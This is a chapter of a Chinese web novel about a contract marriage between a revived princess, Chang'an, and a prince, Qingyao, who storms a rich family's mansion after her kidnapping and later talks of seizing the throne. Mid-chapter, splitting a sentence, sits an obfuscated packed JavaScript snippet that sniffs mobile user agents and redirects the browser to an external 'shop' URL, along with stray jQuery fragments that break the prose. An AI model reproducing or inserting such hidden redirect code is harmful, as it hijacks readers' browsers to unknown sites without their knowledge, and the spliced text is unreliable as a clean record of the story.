79.不安于做王妃
作品:《重生之我与反派的契约婚姻》 原来长安猜得不错,这一行人果真是冲她而来。
她离开不久后,那帮盗匪便四散离去,赵起去寻她,程锦留下来收拾残局,这一行所运粮草还余不足三分之一,伤了五人。
难道那高昱所言不虚?这危难之间的救命恩情当真是缘分使然?还是一个巨大的阴谋?如果不是阴谋,那钱家劫掳她又究竟意欲何为?
她兀自思忖,忽听程锦问道:“那盗匪如何肯放您回来?”
“哦,我趁那贼人不注意,捅了他一刀。”长安说罢,眼神瞥了瞥别在腰间的那把匕首。
只见程锦张了张嘴想说什么,又沉默须臾,道:“无事便好。”
也不怪程锦瞠目结舌,她现在身中一箭,身子绵软无力,连挺直脊背都困难,遑论如何刺杀那凶悍的匪徒?
不过事情未明之时,她不想声张。
就这样一行人稍作整顿进了城中。
夜色朦胧,长安进门时,见一人黑乎乎地正跪在庭院中,垂着头一声不吭。
再走近时,才发现果然是赵起,原来自摆平了牛车后他便循着马蹄印一路追赶,后来才发现他跟的是另外一骑土匪。
难道有人故意在岔路口混淆视听?
她道:“你怎跪在这里,王爷呢?”
赵起依旧垂着头,并不直视于她,回道:“不知,王爷听说您出事便出门了。”
“可有说往哪里去?带了什么人?”
赵起摇了摇头。
长安着急了起来,“摇头是什么意思?一个人也没有带?”
赵起这才细细说来,因他护送失职,青要在了解完来龙去脉之后,便罚他跪在这里,没有命令不得起来,随后便一个人出去了,走得着急什么都没有说。
长安顿觉不妙,若是去寻她,必不会独自一人,除非他知道这其中的原由,她当机立断道:“快!去钱府,就说我回来了,万不可生事。”
赵起还跪在地上,有些犹豫。
长安一手捂着鲜血洇湿的半边臂膀,一边近乎吼道:“快去呀!你既是我的护卫如今就该听命于我。”
赵起闻言,这才忙不迭地起身出了门。
这边青要刚到钱府门前,门仆便迎上前来,可不等门仆说话,青要便一把将其推开,径直穿过大门,走了进去。
院内灯火通明,犹如白昼,一进门便有数十个家丁手操棍棒围了上来,为首的壮汉捏的手指嘎嘎作响,大着嗓门喊道:“来者何人?若再近一步,别怪我们不客气了!”
青要置若罔闻,面色铁青,径直向前走去。
这些家丁护卫哪里肯让?方才为首的汉子一声令下,便有十数人齐齐围了上来。
青要目光直视前方,拔出大刀,不管不顾地向涌到眼前的人挥舞着,三五波人悉数倒地。
青要势如破竹,杀气腾腾,大声喝斥:“钱万年,滚出来!”
话音刚落,便见一满面油光、大腹便便的中年男人走了出来,“哎呦,这不是都护大人吗?若要见钱某,何必如此大阵仗呢?”
青要眼风扫过,一个箭步,大刀已架在方才还得意洋洋的肥腻脖颈上,“哼,我这把刀倒是更想问问你究竟有什么龌龊心思不能冲我来,一定要去绑架一个女子?”
这脖颈的主人没有丝毫胆怯之意,咧着嘴,露出一口黄牙,笑呵呵道:“看来传言不虚,英雄难过美人关,这白嫩水灵的大宁公主竟真是肃王的心头好呀!”
青要眉头紧蹙,眸光一凛,眼底一片寒意,手下刀锋嵌入对方脖颈,“你把她弄哪了?”
这口黄牙的主人似乎更加得意了,“王爷何必紧张呢,我钱某自知不如王爷身份尊贵,可在这同州地界,谁生谁死也只是我钱某人一句话的事,王爷若愿意出价,凭她是谁,钱某自为王爷寻来便是,可如今看来,王爷既如此宝贝,这价钱还得再加加才是呐。”
青要微微用力,鲜红的血液已顺着刀锋一滴一滴落在了青石板上,“不想跟你废什么话,交出人来饶你一命,否则就杀了你。”
黑豆大的眼睛不可置信地看着地上的红,肥腻的脸庞不住地抽搐着,黄牙也似乎在瑟瑟发抖,裤角滴着什么东西,溶着血液在地上一滩。
“扑通!”
似一堆肉摊在了那滩里,“我说……我……”
畏缩如鼠的样子与方才简直判若两人,可不等他说完,赵起便闯了进来,朝着青要大声道:“王……高大人他们回来啦!”
地上那人还在求饶,青要手下力道并未松懈半分,直到赵起气喘吁吁地说完,青要手中刀刃才从那肥腻的脖子上移开,那脖子主人也松了口气。
下一秒,“啊——!”
一声凄厉惨叫在整个院落回响,不绝于耳。
钱万年举着血肉模糊的一只手,一脸的不可置信。
青要冷冷道:“若再有下次,就不是一根手指的事了。”
长安软筋散药性已散,力气恢复如初,臂上的箭头也拔了出去,此刻已上了药裹好了纱布。
夜色漆黑,屋门大开,她坐在桌前,外面稍有响动她就忍不住抬头张望。
终于,一抹玄色身影映入眼帘,她还来不及说话,他已飞奔入内,拥她入怀。
“嘶——”臂上吃痛,她下意识躲闪。
青要这才发现,他太紧张,不小心碰到了她臂上的伤口。
看着那渗出来的鲜红血色,他眸色又不由深了几分,眉头蹙在一起,急切问道:“究竟怎么回事?”
长安掠过与高昱相处的细节,只捡了一些紧要的说与青要。
青要捏紧拳头,一下子砸向圆桌,“钱万年这个老匹夫!”几个字近乎是从牙缝中挤出来一般。
长安问道:“你为何也如此肯定是钱家?”
她之所以让赵起去钱府,是因为高昱给的线索,她想青要若一人出去必是为她寻仇,如此最大的可能便是去了钱府,而青要又是怎么知道劫她的贼匪与钱府有关?
青要恨恨说道:“此地众人皆知钱
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17220049|189263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
家养匪为患,我一听赵起说你们路遇山匪,便知与那老匹夫脱不开干系。”
长安若有所思,不解道:“既然是人尽皆知,那钱万年又何须借山匪之名,岂非掩耳盗铃?”
“钱家十数年来横行霸道,为所欲为,如今此举,分明是目空一切,嚣张至极!”
青要来到同州已有些时日,虽然钱家臭名昭著,恶名远扬,但从未在他身上打过主意,日子久了,他也松懈了,只当钱家就算在同州只手遮天,但对朝廷还是有所敬畏的,哪里料到竟然是等着这一天。
长安问道:“若真是钱家所为,劫持我必是有所图谋,他可曾向你提什么要求?”
青要冷哼一声,“能提什么要求?无冤无仇的,无外乎就是商路一事。”
“你剁了那钱万年一根手指,他们必然不会善罢甘休,以后万事须得更加小心才是。”
长安觉得青要到底本性难改,平日里在她面前也算通情达理,可一冲动便像野兽一般,做事横冲直撞,不计后果。
不过他今日意气到底是为了她,她也不好多说什么,只得委婉提醒。
青要却冷冷道:“本来他们也不打算让我们在这好过,你受一箭他伤一根手指已经算便宜他了!”
长安觉得也有道理,笑道:“你还挺公平,不过你就不怕他让沈尚书在朝中参你一本?”
“长安。”青要轻声唤了唤她,并未再说什么话。
长安只是随意地开了一个玩笑,听青要唤她,不由抬头看向他,等着下文。
却见青要神色严肃,一脸郑重,“我们早已没有回头路了不是吗?”
“功败垂成与功高震主二选其一,不一样的罪名等着我们。”
长安愕然,青要从不主动说这些,她一直以为他不会想这么深,原来他什么都知道。
她一时间倒也不知该说什么好了。
青要却在这时呵呵一笑,道:“所以,参一本怕什么,参十本又如何,就算是循规蹈矩,本分做事,到后来也不过是狡兔死走狗烹的下场,何况我们本来就是奔着那王位去的,夫人说是吗?”
长安心中不安,不过她很快掩下神色,兀自饮了一盏茶,才道:“话虽如此说,只是现在说这些,是否为时过早?”
“夫人不安于做王妃,为夫自会想办法帮夫人拿到想要的,夫人信我便是!”
青要扣下她握茶的那只手腕,目光灼灼,似乎要将她看穿一般。
长安仿佛被噎了一下,停顿半晌,张了张嘴,才道:“有你在,我很安心。”
青要眸色黯了几分,似乎有些失望,撇过头提起茶壶,亲自为长安斟了盏茶,再回眸时,神色已恢复如初,“夫人舟车劳顿,想必也累了。”
说罢,起身宽去玄色外袍,待再回到长安身前时已一身素白中衣。
他也不多言,见长安一盏茶饮毕,便兀自低头为长安解着腰带。
长安还没反应过来,下意识地一只手握向青要臂膀,“等等。”

